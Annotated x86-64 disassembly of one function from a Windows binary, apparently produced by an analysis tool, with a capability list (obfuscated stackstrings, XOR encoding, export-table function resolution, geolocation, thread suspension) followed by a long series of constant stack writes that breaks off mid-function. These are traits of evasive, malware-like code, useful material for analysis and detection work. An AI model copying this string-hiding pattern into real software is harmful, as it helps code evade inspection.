Function at 0x140001000
Capabilities:
Accept command line arguments
Authenticate hmac
Contain obfuscated stackstrings
Decompress data using quicklz
Encode data using base64
Encode data using xor
Get common file path
Get disk information
Get file size
Get file version info
Get geographical location
Manipulate console buffer
Parse pe header
Resolve function by parsing pe exports
Suspend thread

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x2d538
call fcn.1401da820
sub rsp, rax
mov dword [rsp + 0x3008], 0xb928ede9
mov eax, 0x67d
mov word [rsp + 0xa00], ax
mov byte [rsp + 0x60], 0x2e
movabs rax, 0x57ab274e4d6b6a3
mov qword [rsp + 0xa498], rax
mov eax, 0x134
mov word [rsp + 0xa04], ax
mov eax, 0x6220
mov word [rsp + 0xa08], ax
mov eax, 0x646
mov word [rsp + 0xa0c], ax
mov eax, 0x10c6
mov word [rsp + 0xa10], ax
mov eax, 0x1b
mov word [rsp + 0xa14], ax
mov eax, 0x3d5
mov word [rsp + 0xa18], ax
movabs rax, 0x44f74f348186389e
mov qword [rsp + 0xa4a0], rax
mov dword [rsp + 0x300c], 0x150f7d7b
movabs rax, 0xdfca4132cb01e2a9
mov qword [rsp + 0xa4a8], rax
mov byte [rsp + 0x61], 0x43
mov eax, 0x622
mov word [rsp + 0xa1c], ax
mov eax, 0xa69
mov word [rsp + 0xa20], ax
movabs rax, 0x5a9b560e92e1658b
mov qword [rsp + 0xa4b0], rax
mov dword [rsp + 0x3010], 0x6abaee55
mov byte [rsp + 0x62], 0x1e
mov dword [rsp + 0x3014], 0x949cd48
mov byte [rsp + 0x63], 0xc6
mov eax, 0x2119
mov word [rsp + 0xa24], ax
mov eax, 0x8bf
mov word [rsp + 0xa28], ax
mov dword [rsp + 0x3018], 0xb9c3fe67
movabs rax, 0x4250dfdce9f27383
mov qword [rsp + 0xa4b8], rax
mov byte [rsp + 0x64], 0xb9
mov eax, 0x47d2
mov word [rsp + 0xa2c], ax
mov eax, 0xc8c
mov word [rsp + 0xa30], ax
mov dword [rsp + 0x301c], 0x4d0e2112
mov byte [rsp + 0x65], 0x65
mov byte [rsp + 0x66], 0x1b
mov dword [rsp + 0x3020], 0x19f0cbfe
mov dword [rsp + 0x3024], 0xd3a5de41
mov byte [rsp + 0x67], 0xe5
mov eax, 0xa9f
mov word [rsp + 0xa34], ax
mov eax, 0x2d8
mov word [rsp + 0xa38], ax
mov dword [rsp + 0x3028], 0x647acf52
movabs rax, 0x3e1b30f37745a0cf
mov qword [rsp + 0xa4c0], rax
movabs rax, 0xf534f6581ef5df05
mov qword [rsp + 0xa4c8], rax
mov byte [rsp + 0x68], 0xc1
mov byte [rsp + 0x69], 0xd1
mov dword [rsp + 0x302c], 0x12ea44f0
movabs rax, 0x4bfefdaedd19f0c5
mov qword [rsp + 0xa4d0], rax
mov byte [rsp + 0x6a], 0x61
movabs rax, 0x52b6383a776f5a2e
mov qword [rsp + 0xa4d8], rax
mov byte [rsp + 0x6b], 0x77
movabs rax, 0x733ec896f797f5eb
mov qword [rsp + 0xa4e0], rax
movabs rax, 0x7e0298fbe2851188
mov qword [rsp + 0xa4e8], rax
movabs rax, 0xa5d9d0656032faf9
mov qword [rsp + 0xa4f0], rax
mov dword [rsp + 0x3030], 0x460d992f
mov eax, 0x59a7
mov word [rsp + 0xa3c], ax
mov dword [rsp + 0x3034], 0x58699ebf
movabs rax, 0x13dbf5c657c835de
mov qword [rsp + 0xa4f8], rax
mov byte [rsp + 0x6c], 0xb1
movabs rax, 0xd7ab26d2c69f00fe
mov qword [rsp + 0xa500], rax
mov eax, 0x3c40
mov word [rsp + 0xa40], ax
movabs rax, 0x52b76604c5b55343
mov qword [rsp + 0xa508], rax
movabs rax, 0x607bc343b8be196b
mov qword [rsp + 0xa510], rax
mov byte [rsp + 0x6d], 0x68
mov eax, 0x7ff
mov word [rsp + 0xa44], ax
mov eax, 0x58f
mov word [rsp + 0xa48], ax
movabs rax, 0xa328bcefd9252fed
mov qword [rsp + 0xa518], rax
movabs rax, 0x409f5b9396f92283
mov qword [rsp + 0xa520], rax
movabs rax, 0x6b399717f83bc2ab
mov qword [rsp + 0xa528], rax
mov byte [rsp + 0x6e], 2
mov dword [rsp + 0x3038], 0x17c49c1a
mov dword [rsp + 0x303c], 0x4db3d5d2
movabs rax, 0x79ce947a1800c0ba
mov qword [rsp + 0xa530], rax
mov dword [rsp + 0x3040], 0xeb1ba989
movabs rax, 0x4ea5f15b1efdab35
mov qword [rsp + 0xa538], rax
movabs rax, 0xd13237c42380d27d
mov qword [rsp + 0xa540], rax
mov dword [rsp + 0x3044], 0x337d16e2
mov dword [rsp + 0x3048], 0x7175dc17
movabs rax, 0x1835486f1f1be851
mov qword [rsp + 0xa548], rax
movabs rax, 0x42196660a19f3bf1
mov qword [rsp + 0xa550], rax
mov eax, 0x7f4
mov word [rsp + 0xa4c], ax
mov dword [rsp + 0x304c], 0x75bb74df
mov byte [rsp + 0x6f], 0x11
movabs rax, 0x5c5093c6938ebf53
mov qword [rsp + 0xa558], rax
movabs rax, 0xaddf5106663bdee4
mov qword [rsp + 0xa560], rax
mov eax, 0x32d0
mov word [rsp + 0xa50], ax
mov byte [rsp + 0x70], 0x77
mov byte [rsp + 0x71], 0xcb
mov byte [rsp + 0x72], 0xb9
movabs rax, 0x13d30eb5e4069346
mov qword [rsp + 0xa568], rax
mov dword [rsp + 0x3050], 0x7e6813ad
mov eax, 0x7cc
mov word [rsp + 0xa54], ax
mov dword [rsp + 0x3054], 0x59a191a5
mov dword [rsp + 0x3058], 0x28a8175c
mov eax, 0x17f1
mov word [rsp + 0xa58], ax
mov eax, 0x919
mov word [rsp + 0xa5c], ax
mov eax, 0x112
mov word [rsp + 0xa60], ax
mov eax, 0x71dc
mov word [rsp + 0xa64], ax
mov byte [rsp + 0x73], 0x61
movabs rax, 0x56221cf8ffe3b92
mov qword [rsp + 0xa570], rax
movabs rax, 0xa4ccb990d59dc2f5
mov qword [rsp + 0xa578], rax
movabs rax, 0x2585d811fc8fc3df
mov qword [rsp + 0xa580], rax
mov byte [rsp + 0x74], 0x21
mov dword [rsp + 0x305c], 0x3e19fada
mov dword [rsp + 0x3060], 0x6b0466d8
mov eax, 0x3d7
mov word [rsp + 0xa68], ax
movabs rax, 0x2ea814953695e969
mov qword [rsp + 0xa588], rax
movabs rax, 0x191039b1269fec6c
mov qword [rsp + 0xa590], rax
mov eax, 0x7acb
mov word [rsp + 0xa6c], ax
movabs rax, 0x2ef301f63b962211
mov qword [rsp + 0xa598], rax
movabs rax, 0x7bf928f925f6ee9c
mov qword [rsp + 0xa5a0], rax
mov dword [rsp + 0x3064], 0x729f222b
movabs rax, 0x88bc7b4a5417123f
mov qword [rsp + 0xa5a8], rax
movabs rax, 0x1dde8934aaad6970
mov qword [rsp + 0xa5b0], rax
mov eax, 0x9ae
mov word [rsp + 0xa70], ax
mov dword [rsp + 0x3068], 0x3345c7a5
mov eax, 0x1b3f
mov word [rsp + 0xa74], ax
mov eax, 0x479
mov word [rsp + 0xa78], ax
mov eax, 0x5253
mov word [rsp + 0xa7c], ax
mov eax, 0x1c1
mov word [rsp + 0xa80], ax
movabs rax, 0x7dbc6cb05a36b18
mov qword [rsp + 0xa5b8], rax
mov byte [rsp + 0x75], 3
movabs rax, 0x1f98980fa36d7cce
mov qword [rsp + 0xa5c0], rax
movabs rax, 0xdf44a9977274a2dc
mov qword [rsp + 0xa5c8], rax
mov dword [rsp + 0x306c], 0x990b358
mov eax, 0x1681
mov word [rsp + 0xa84], ax
mov dword [rsp + 0x3070], 0x7e7e80d0
movabs rax, 0x3c7edbbd895ecfe5
mov qword [rsp + 0xa5d0], rax
mov byte [rsp + 0x76], 0x85
mov byte [rsp + 0x77], 0xe5
mov eax, 0x38f7
mov word [rsp + 0xa88], ax
mov eax, 0x85c
mov word [rsp + 0xa8c], ax
mov byte [rsp + 0x78], 0xeb
mov dword [rsp + 0x3074], 0x4dac2944
mov byte [rsp + 0x79], 0x35
movabs rax, 0xe9812b343d2d4694
mov qword [rsp + 0xa5d8], rax
mov dword [rsp + 0x3078], 0xd4a25efe
mov eax, 0x4fa3
mov word [rsp + 0xa90], ax
mov eax, 0x3554
mov word [rsp + 0xa94], ax
mov byte [rsp + 0x7a], 0x98
movabs rax, 0x4334ba3ad43e6386
mov qword [rsp + 0xa5e0], rax
mov dword [rsp + 0x307c], 0x593dc807
xor eax, eax
mov word [rsp + 0xa98], ax
mov dword [rsp + 0x3080], 0x2c4fe54
mov eax, 0x64a2
mov word [rsp + 0xa9c], ax
mov dword [rsp + 0x3084], 0x6e1b55b9
mov dword [rsp + 0x3088], 0x58a9981f
mov eax, 0x596e
mov word [rsp + 0xaa0], ax
mov byte [rsp + 0x7b], 0x60
mov eax, 0xed3
mov word [rsp + 0xaa4], ax
mov byte [rsp + 0x7c], 0x68
mov byte [rsp + 0x7d], 0xda
mov byte [rsp + 0x7e], 0x8e
mov byte [rsp + 0x7f], 0x2f
mov dword [rsp + 0x308c], 0xa5f202a0
mov byte [rsp + 0x80], 0x30
mov dword [rsp + 0x3090], 0x19cd9761
movabs rax, 0xd331caa55250197e
mov qword [rsp + 0xa5e8], rax
movabs rax, 0x352f0fe70b9b9795
mov qword [rsp + 0xa5f0], rax
mov byte [rsp + 0x81], 0xc0
mov eax, 0xed7
mov word [rsp + 0xaa8], ax
mov eax, 0x361
mov word [rsp + 0xaac], ax
movabs rax, 0xdb0e9a30a30f6da1
mov qword [rsp + 0xa5f8], rax
mov byte [rsp + 0x82], 0xa0
mov dword [rsp + 0x3094], 0x8946fd35
movabs rax, 0x313840211cd94623
mov qword [rsp + 0xa600], rax
mov eax, 0x6bef
mov word [rsp + 0xab0], ax
movabs rax, 0xbbd7434c0dde6540
mov qword [rsp + 0xa608], rax
movabs rax, 0xe8782abbdcc50206
mov qword [rsp + 0xa610], rax
mov dword [rsp + 0x3098], 0xb9763543
mov eax, 0xf32
mov word [rsp + 0xab4], ax
mov dword [rsp + 0x309c], 0x4ea0bb48
mov dword [rsp + 0x30a0], 0x3259344a
mov eax, 0xb8c
mov word [rsp + 0xab8], ax
mov byte [rsp + 0x83], 0x36
mov byte [rsp + 0x84], 0x73
mov eax, 0x8b
mov word [rsp + 0xabc], ax
mov dword [rsp + 0x30a4], 0x716f4cc
movabs rax, 0x35067180291b0918
mov qword [rsp + 0xa618], rax
mov byte [rsp + 0x85], 0xcf
mov eax, 0x994
mov word [rsp + 0xac0], ax
mov dword [rsp + 0x30a8], 0x78caab8e
mov dword [rsp + 0x30ac], 0xb40f4336
mov byte [rsp + 0x86], 0x67
mov dword [rsp + 0x30b0], 0x428e968b
mov eax, 0x6db3
mov word [rsp + 0xac4], ax
mov eax, 0x1c69
mov word [rsp + 0xac8], ax
mov dword [rsp + 0x30b4], 0x5ebde93b
mov eax, 0xd01
mov word [rsp + 0xacc], ax
mov byte [rsp + 0x87], 0x59
mov eax, 0x54dd
mov word [rsp + 0xad0], ax
mov eax, 0x78f7
mov word [rsp + 0xad4], ax
mov dword [rsp + 0x30b8], 0xea7eb597
mov eax, 0x7d
mov word [rsp + 0xad8], ax
mov byte [rsp + 0x88], 0x64
movabs rax, 0x59492728fb2387b3
mov qword [rsp + 0xa620], rax
mov byte [rsp + 0x89], 9
mov dword [rsp + 0x30bc], 0x5de62c02
mov eax, 0xe8b
mov word [rsp + 0xadc], ax
mov byte [rsp + 0x8a], 0x11
mov byte [rsp + 0x8b], 0x4e
movabs rax, 0xc0cf7a72e2882fcc
mov qword [rsp + 0xa628], rax
mov eax, 0xd67
mov word [rsp + 0xae0], ax
mov eax, 0x178f
mov word [rsp + 0xae4], ax
movabs rax, 0xe7dc7f80bdb8c7a9
mov qword [rsp + 0xa630], rax
mov eax, 0x4cdd
mov word [rsp + 0xae8], ax
movabs rax, 0x28ddd73a7761cf5
mov qword [rsp + 0xa638], rax
mov byte [rsp + 0x8c], 0xe9
movabs rax, 0xaadf8c7bf2676dd4
mov qword [rsp + 0xa640], rax
mov eax, 0xd5e
mov word [rsp + 0xaec], ax
mov eax, 0xf06
mov word [rsp + 0xaf0], ax
mov eax, 0x316e
mov word [rsp + 0xaf4], ax
movabs rax, 0xd2e3e02e2b58757
mov qword [rsp + 0xa648], rax
mov dword [rsp + 0x30c0], 0x3c29cef0
mov dword [rsp + 0x30c4], 0x5d06a439
mov eax, 0xa6
mov word [rsp + 0xaf8], ax
mov dword [rsp + 0x30c8], 0x9a2f95b0
mov eax, 0xf1c
mov word [rsp + 0xafc], ax
movabs rax, 0x4c99feca4ab852ae
mov qword [rsp + 0xa650], rax
mov eax, 0xe3c
mov word [rsp + 0xb00], ax
movabs rax, 0x28163eb0170a615c
mov qword [rsp + 0xa658], rax
mov byte [rsp + 0x8d], 0x99
movabs rax, 0xf0e55668de91c7cf
mov qword [rsp + 0xa660], rax
mov dword [rsp + 0x30cc], 0x3573ecd4
mov dword [rsp + 0x30d0], 0x38855754
mov dword [rsp + 0x30d4], 0xc87c1de1
mov byte [rsp + 0x8e], 0x52
mov byte [rsp + 0x8f], 0xdf
mov eax, 0xb08
mov word [rsp + 0xb04], ax
mov eax, 0x6a47
mov word [rsp + 0xb08], ax
mov dword [rsp + 0x30d8], 0x713bd406
mov eax, 0x17b
mov word [rsp + 0xb0c], ax
mov eax, 0x7b99
mov word [rsp + 0xb10], ax
mov byte [rsp + 0x90], 0x1e
mov eax, 0x8b8
mov word [rsp + 0xb14], ax
mov byte [rsp + 0x91], 0x3f
mov dword [rsp + 0x30dc], 0x3a38cbcf
mov eax, 0x42d
mov word [rsp + 0xb18], ax
mov eax, 0x6288
mov word [rsp + 0xb1c], ax
mov eax, 0x37ea
mov word [rsp + 0xb20], ax
mov eax, 0xd73
mov word [rsp + 0xb24], ax
movabs rax, 0xb878873028bcdff9
mov qword [rsp + 0xa668], rax
mov dword [rsp + 0x30e0], 0x96c2e85a
mov dword [rsp + 0x30e4], 0x32d0f61f
mov eax, 0x7bb5
mov word [rsp + 0xb28], ax
mov eax, 0x4a6b
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x30e8], 0x1b4a29fc
mov dword [rsp + 0x30ec], 0x76fa46f4
mov byte [rsp + 0x92], 0x8e
movabs rax, 0x4515f8691c88ff41
mov qword [rsp + 0xa670], rax
movabs rax, 0x58eb1047634aef3c
mov qword [rsp + 0xa678], rax
movabs rax, 0x1dc0c675acc4845a
mov qword [rsp + 0xa680], rax
mov dword [rsp + 0x30f0], 0xcec6c2a0
movabs rax, 0xeb36dd5ac50b7bcb
mov qword [rsp + 0xa688], rax
mov byte [rsp + 0x93], 0x77
mov byte [rsp + 0x94], 0x3d
movabs rax, 0x4ed6e49ee6a111b8
mov qword [rsp + 0xa690], rax
movabs rax, 0xb9a94f0e18b6a3f4
mov qword [rsp + 0xa698], rax
mov dword [rsp + 0x30f4], 0x20a978cf
movabs rax, 0x1f332258f93d1f6
mov qword [rsp + 0xa6a0], rax
mov byte [rsp + 0x95], 0xb4
mov eax, 0xd15
mov word [rsp + 0xb30], ax
movabs rax, 0x301760ea75480a88
mov qword [rsp + 0xa6a8], rax
movabs rax, 0x4f9154a42193bb1
mov qword [rsp + 0xa6b0], rax
mov eax, 0x322
mov word [rsp + 0xb34], ax
mov eax, 0x809
mov word [rsp + 0xb38], ax
mov eax, 0xe4c
mov word [rsp + 0xb3c], ax
movabs rax, 0x11c8ec6ddf50ae9f
mov qword [rsp + 0xa6b8], rax
mov eax, 0x619d
mov word [rsp + 0xb40], ax
movabs rax, 0x64b99bda0b4cd1fb
mov qword [rsp + 0xa6c0], rax
mov byte [rsp + 0x96], 0x7a
movabs rax, 0x68e6d378758d4b17
mov qword [rsp + 0xa6c8], rax
mov eax, 0x376a
mov word [rsp + 0xb44], ax
mov eax, 0x3c5
mov word [rsp + 0xb48], ax
mov dword [rsp + 0x30f8], 0xd24f7894
movabs rax, 0x1d91c2aca5137440
mov qword [rsp + 0xa6d0], rax
mov dword [rsp + 0x30fc], 0x146ec19b
movabs rax, 0xfa264d6b2406c49f
mov qword [rsp + 0xa6d8], rax
mov dword [rsp + 0x3100], 0xf7ab536d
mov eax, 0x56b
mov word [rsp + 0xb4c], ax
movabs rax, 0xbc425c52efd9f27a
mov qword [rsp + 0xa6e0], rax
mov dword [rsp + 0x3104], 0x48dd3fa3
mov dword [rsp + 0x3108], 0xb08484a
mov dword [rsp + 0x310c], 0x27e3b9ba
mov byte [rsp + 0x97], 0xb3
mov dword [rsp + 0x3110], 0x2ffc52ce
mov byte [rsp + 0x98], 0x9d
mov byte [rsp + 0x99], 0x2b
movabs rax, 0xb80fa7ae6fa4073a
mov qword [rsp + 0xa6e8], rax
mov eax, 0x5c12
mov word [rsp + 0xb50], ax
movabs rax, 0x7da085b72d9c722f
mov qword [rsp + 0xa6f0], rax
movabs rax, 0x4348a97544bc0a3b
mov qword [rsp + 0xa6f8], rax
mov eax, 0x10d
mov word [rsp + 0xb54], ax
movabs rax, 0x1b09095f854d2491
mov qword [rsp + 0xa700], rax
mov byte [rsp + 0x9a], 0x3f
mov byte [rsp + 0x9b], 0xcc
mov eax, 0x355
mov word [rsp + 0xb58], ax
movabs rax, 0x60c2fa6e23ceb9fb
mov qword [rsp + 0xa708], rax
mov eax, 0x7930
mov word [rsp + 0xb5c], ax
movabs rax, 0x52c51f684023bba0
mov qword [rsp + 0xa710], rax
mov eax, 0x5532
mov word [rsp + 0xb60], ax
mov eax, 0x367a
mov word [rsp + 0xb64], ax
mov eax, 0xabd
mov word [rsp + 0xb68], ax
mov dword [rsp + 0x3114], 0x296e3410
mov dword [rsp + 0x3118], 0x522377c8
mov dword [rsp + 0x311c], 0x3e415c41
movabs rax, 0x40d01d03a51403c0
mov qword [rsp + 0xa718], rax
mov eax, 0x31e7
mov word [rsp + 0xb6c], ax
mov eax, 0x68c
mov word [rsp + 0xb70], ax
mov byte [rsp + 0x9c], 0x24
mov eax, 0x31e8
mov word [rsp + 0xb74], ax
movabs rax, 0x77297b913854b791
mov qword [rsp + 0xa720], rax
mov eax, 0x42f
mov word [rsp + 0xb78], ax
movabs rax, 0x7dc4a56cae7dc49c
mov qword [rsp + 0xa728], rax
mov eax, 0x4624
mov word [rsp + 0xb7c], ax
mov dword [rsp + 0x3120], 0x2f2aab01
mov eax, 0x1095
mov word [rsp + 0xb80], ax
movabs rax, 0x28c797b7c96a8d16
mov qword [rsp + 0xa730], rax
mov byte [rsp + 0x9d], 0x35
mov eax, 0xc0c
mov word [rsp + 0xb84], ax
mov dword [rsp + 0x3124], 0x7bc2638c
movabs rax, 0x6813c0b2f5459c4f
mov qword [rsp + 0xa738], rax
mov dword [rsp + 0x3128], 0x5e69be16
mov eax, 0x7c1
mov word [rsp + 0xb88], ax
mov dword [rsp + 0x312c], 0x2ccbdbf4
movabs rax, 0x49ca4539562eea3a
mov qword [rsp + 0xa740], rax
mov byte [rsp + 0x9e], 0x12
mov eax, 0xf8d
mov word [rsp + 0xb8c], ax
mov eax, 0x3157
mov word [rsp + 0xb90], ax
mov byte [rsp + 0x9f], 0x25
movabs rax, 0x25fc4af21a6c0956
mov qword [rsp + 0xa748], rax
mov eax, 0x58d1
mov word [rsp + 0xb94], ax
mov eax, 0x7ba
mov word [rsp + 0xb98], ax
mov byte [rsp + 0xa0], 0x9d
mov byte [rsp + 0xa1], 0xf
mov dword [rsp + 0x3130], 0x3a4cdff1
movabs rax, 0xfefe5f3515fb67c2
mov qword [rsp + 0xa750], rax
mov eax, 0x6887
mov word [rsp + 0xb9c], ax
mov eax, 0x3505
mov word [rsp + 0xba0], ax
mov byte [rsp + 0xa2], 0x67
mov dword [rsp + 0x3134], 0x1041e244
movabs rax, 0x532360d8739c05a
mov qword [rsp + 0xa758], rax
mov byte [rsp + 0xa3], 0x11
mov byte [rsp + 0xa4], 0x71
movabs rax, 0xf1d019acd183ee2e
mov qword [rsp + 0xa760], rax
mov byte [rsp + 0xa5], 0x6d
movabs rax, 0x4e4a9ca3656fd232
mov qword [rsp + 0xa768], rax
movabs rax, 0xbcf6491c1bf93ea4
mov qword [rsp + 0xa770], rax
movabs rax, 0x183e2c9d58b5a315
mov qword [rsp + 0xa778], rax
mov dword [rsp + 0x3138], 0x7e79ee51
mov dword [rsp + 0x313c], 0x7a15686e
mov byte [rsp + 0xa6], 0x5a
movabs rax, 0xdc853aa500fdaa5b
mov qword [rsp + 0xa780], rax
mov dword [rsp + 0x3140], 0x8ed0bc4a
mov dword [rsp + 0x3144], 0x4ade0908
movabs rax, 0xb3c60f166ecf9212
mov qword [rsp + 0xa788], rax
mov dword [rsp + 0x3148], 0x2cbbc0b8
mov eax, 0xfe0
mov word [rsp + 0xba4], ax
mov eax, 0x608
mov word [rsp + 0xba8], ax
mov byte [rsp + 0xa7], 0x5d
mov byte [rsp + 0xa8], 1
mov eax, 0x789a
mov word [rsp + 0xbac], ax
mov dword [rsp + 0x314c], 0xb5176c2e
mov dword [rsp + 0x3150], 0x46cfab6f
movabs rax, 0x3619710944874546
mov qword [rsp + 0xa790], rax
mov eax, 0x7f1
mov word [rsp + 0xbb0], ax
mov byte [rsp + 0xa9], 0x45
mov byte [rsp + 0xaa], 0x1a
mov eax, 0xb4f
mov word [rsp + 0xbb4], ax
movabs rax, 0x3f6ae58a1565a897
mov qword [rsp + 0xa798], rax
mov byte [rsp + 0xab], 0x18
mov eax, 0x28c7
mov word [rsp + 0xbb8], ax
mov byte [rsp + 0xac], 0x72
mov dword [rsp + 0x3154], 0x7b8e37e1
mov eax, 0x70cc
mov word [rsp + 0xbbc], ax
mov dword [rsp + 0x3158], 0x297c6783
mov dword [rsp + 0x315c], 0xb6d7a44d
mov byte [rsp + 0xad], 0x44
mov eax, 0xf17
mov word [rsp + 0xbc0], ax
mov eax, 0x11cf
mov word [rsp + 0xbc4], ax
mov eax, 0x23b3
mov word [rsp + 0xbc8], ax
mov byte [rsp + 0xae], 0x34
mov eax, 0x12de
mov word [rsp + 0xbcc], ax
mov byte [rsp + 0xaf], 0x7a
movabs rax, 0xc059a2dc86702ef2
mov qword [rsp + 0xa7a0], rax
mov eax, 0x13a8
mov word [rsp + 0xbd0], ax
mov byte [rsp + 0xb0], 0x30
movabs rax, 0x592fa531ff6b32cd
mov qword [rsp + 0xa7a8], rax
mov eax, 0x3862
mov word [rsp + 0xbd4], ax
mov byte [rsp + 0xb1], 0x49
mov dword [rsp + 0x3160], 0x6ddda65c
mov dword [rsp + 0x3164], 0x390c9d74
mov eax, 0x8d
mov word [rsp + 0xbd8], ax
mov byte [rsp + 0xb2], 0x3a
mov dword [rsp + 0x3168], 0x19a1b13a
mov byte [rsp + 0xb3], 0x25
mov eax, 0x2f19
mov word [rsp + 0xbdc], ax
mov dword [rsp + 0x316c], 0x54e1a462
movabs rax, 0xbd2305931ad1f854
mov qword [rsp + 0xa7b0], rax
mov eax, 0x5263
mov word [rsp + 0xbe0], ax
mov dword [rsp + 0x3170], 0xc7684af
mov eax, 0x750
mov word [rsp + 0xbe4], ax
movabs rax, 0x85060c088e017f1e
mov qword [rsp + 0xa7b8], rax
mov byte [rsp + 0xb4], 0x20
mov eax, 0xefa
mov word [rsp + 0xbe8], ax
mov eax, 0x7b1
mov word [rsp + 0xbec], ax
movabs rax, 0x76a1bb9fb90b8a64
mov qword [rsp + 0xa7c0], rax
mov byte [rsp + 0xb5], 0xe2
mov dword [rsp + 0x3174], 0x59989c5e
mov byte [rsp + 0xb6], 0x59
mov eax, 0x52c6
mov word [rsp + 0xbf0], ax
mov byte [rsp + 0xb7], 0x34
mov dword [rsp + 0x3178], 0x2ff74e76
mov eax, 0x965
mov word [rsp + 0xbf4], ax
movabs rax, 0x2973255351a2279a
mov qword [rsp + 0xa7c8], rax
mov dword [rsp + 0x317c], 0x3e714396
mov eax, 0x140d
mov word [rsp + 0xbf8], ax
movabs rax, 0x190434d6b98909a0
mov qword [rsp + 0xa7d0], rax
movabs rax, 0xfb291f5c98d034d
mov qword [rsp + 0xa7d8], rax
mov eax, 0x521
mov word [rsp + 0xbfc], ax
mov eax, 0x5eff
mov word [rsp + 0xc00], ax
mov byte [rsp + 0xb8], 0xde
mov eax, 0x492
mov word [rsp + 0xc04], ax
mov dword [rsp + 0x3180], 0x1ebfc644
mov byte [rsp + 0xb9], 0x79
movabs rax, 0x67e90df61f459edd
mov qword [rsp + 0xa7e0], rax
mov eax, 0x42ae
mov word [rsp + 0xc08], ax
mov byte [rsp + 0xba], 0x18
mov eax, 0x1eb4
mov word [rsp + 0xc0c], ax
mov eax, 0xfca
mov word [rsp + 0xc10], ax
mov dword [rsp + 0x3184], 0x7eeab1ca
movabs rax, 0xd17e21e9cbad087d
mov qword [rsp + 0xa7e8], rax
movabs rax, 0x65d0623b70c8859a
mov qword [rsp + 0xa7f0], rax
mov eax, 0x920
mov word [rsp + 0xc14], ax
mov dword [rsp + 0x3188], 0x904946f4
mov dword [rsp + 0x318c], 0x86dfec47
mov dword [rsp + 0x3190], 0x90dfab12
mov dword [rsp + 0x3194], 0x5b86581d
mov eax, 0x4319
mov word [rsp + 0xc18], ax
movabs rax, 0xb0a7b3d69c91aeff
mov qword [rsp + 0xa7f8], rax
mov dword [rsp + 0x3198], 0x97ef5a08
mov dword [rsp + 0x319c], 0x31ae62de
mov byte [rsp + 0xbb], 0x15
mov dword [rsp + 0x31a0], 0x18d05588
movabs rax, 0x159bdfdfcdb1dd28
mov qword [rsp + 0xa800], rax
movabs rax, 0x156fe1ddaf6a02f7
mov qword [rsp + 0xa808], rax
mov dword [rsp + 0x31a4], 0x7ea6771b
mov eax, 0x19db
mov word [rsp + 0xc1c], ax
mov eax, 0x7863
mov word [rsp + 0xc20], ax
mov eax, 0x4c7b
mov word [rsp + 0xc24], ax
movabs rax, 0x70194e5c6fdd0391
mov qword [rsp + 0xa810], rax
mov eax, 0x6fcc
mov word [rsp + 0xc28], ax
movabs rax, 0x85efcb13fe4a014e
mov qword [rsp + 0xa818], rax
mov byte [rsp + 0xbc], 0x43
mov byte [rsp + 0xbd], 0xc4
movabs rax, 0x60d566454ca57866
mov qword [rsp + 0xa820], rax
mov eax, 0xaa9
mov word [rsp + 0xc2c], ax
mov byte [rsp + 0xbe], 0x20
movabs rax, 0xc5f0da97c18f3e1
mov qword [rsp + 0xa828], rax
mov dword [rsp + 0x31a8], 0x6bbfb439
mov eax, 0x7ac7
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x31ac], 0x69eaea9d
mov eax, 0x149
mov word [rsp + 0xc34], ax
mov byte [rsp + 0xbf], 0xc1
mov byte [rsp + 0xc0], 0x99
mov byte [rsp + 0xc1], 0x5b
mov eax, 0x232
mov word [rsp + 0xc38], ax
mov dword [rsp + 0x31b0], 0xbb758589
mov byte [rsp + 0xc2], 2
mov dword [rsp + 0x31b4], 0x50e8b698
mov eax, 0x79f6
mov word [rsp + 0xc3c], ax
mov byte [rsp + 0xc3], 0x7f
mov byte [rsp + 0xc4], 7
mov byte [rsp + 0xc5], 0x68
movabs rax, 0x37a2a9c6b0060027
mov qword [rsp + 0xa830], rax
mov dword [rsp + 0x31b8], 0x5ee9d8ad
mov dword [rsp + 0x31bc], 0x3a9afb6d
mov eax, 0x583
mov word [rsp + 0xc40], ax
mov dword [rsp + 0x31c0], 0x66f9e21b
mov byte [rsp + 0xc6], 0xbd
mov eax, 0xf2e
mov word [rsp + 0xc44], ax
movabs rax, 0x33f7c82106f6f977
mov qword [rsp + 0xa838], rax
movabs rax, 0x55a318c8b5c613eb
mov qword [rsp + 0xa840], rax
movabs rax, 0x66129bf23d5b874d
mov qword [rsp + 0xa848], rax
mov dword [rsp + 0x31c4], 0x59c33f7f
mov dword [rsp + 0x31c8], 0xe8aae3e3
mov byte [rsp + 0xc7], 0x4b
mov byte [rsp + 0xc8], 0x28
movabs rax, 0x9b55c6f4d57b654
mov qword [rsp + 0xa850], rax
mov byte [rsp + 0xc9], 0x4f
mov dword [rsp + 0x31cc], 0x67f5afe3
mov dword [rsp + 0x31d0], 0x1b1eaee3
movabs rax, 0x2fdaa41efd3d780
mov qword [rsp + 0xa858], rax
mov eax, 0x280
mov word [rsp + 0xc48], ax
movabs rax, 0xb98e4ea4ceb3d900
mov qword [rsp + 0xa860], rax
mov eax, 0x394
mov word [rsp + 0xc4c], ax
mov dword [rsp + 0x31d4], 0xfd791567
movabs rax, 0x3df7a33b65c2366c
mov qword [rsp + 0xa868], rax
mov dword [rsp + 0x31d8], 0x21e5181f
mov dword [rsp + 0x31dc], 0xf261170d
mov eax, 0x41c
mov word [rsp + 0xc50], ax
movabs rax, 0xb27f36c4a472c26e
mov qword [rsp + 0xa870], rax
movabs rax, 0xaaebed5b841fe25f
mov qword [rsp + 0xa878], rax
mov byte [rsp + 0xca], 0x93
mov byte [rsp + 0xcb], 0x15
movabs rax, 0x13d729141214129e
mov qword [rsp + 0xa880], rax
movabs rax, 0x2a3f9588dc4e7c29
mov qword [rsp + 0xa888], rax
mov byte [rsp + 0xcc], 0x2f
mov byte [rsp + 0xcd], 0x86
mov dword [rsp + 0x31e0], 0x25f83fab
mov eax, 0x548
mov word [rsp + 0xc54], ax
mov byte [rsp + 0xce], 8
mov byte [rsp + 0xcf], 0xd4
mov byte [rsp + 0xd0], 0x8c
mov dword [rsp + 0x31e4], 0x113a5e7d
movabs rax, 0x4ca9ed31a8fc1b8a
mov qword [rsp + 0xa890], rax
mov eax, 0xab3
mov word [rsp + 0xc58], ax
mov dword [rsp + 0x31e8], 0x8cd5b40
mov eax, 0xcdc
mov word [rsp + 0xc5c], ax
mov dword [rsp + 0x31ec], 0x2188401
mov eax, 0x29
mov word [rsp + 0xc60], ax
mov eax, 0xd5e
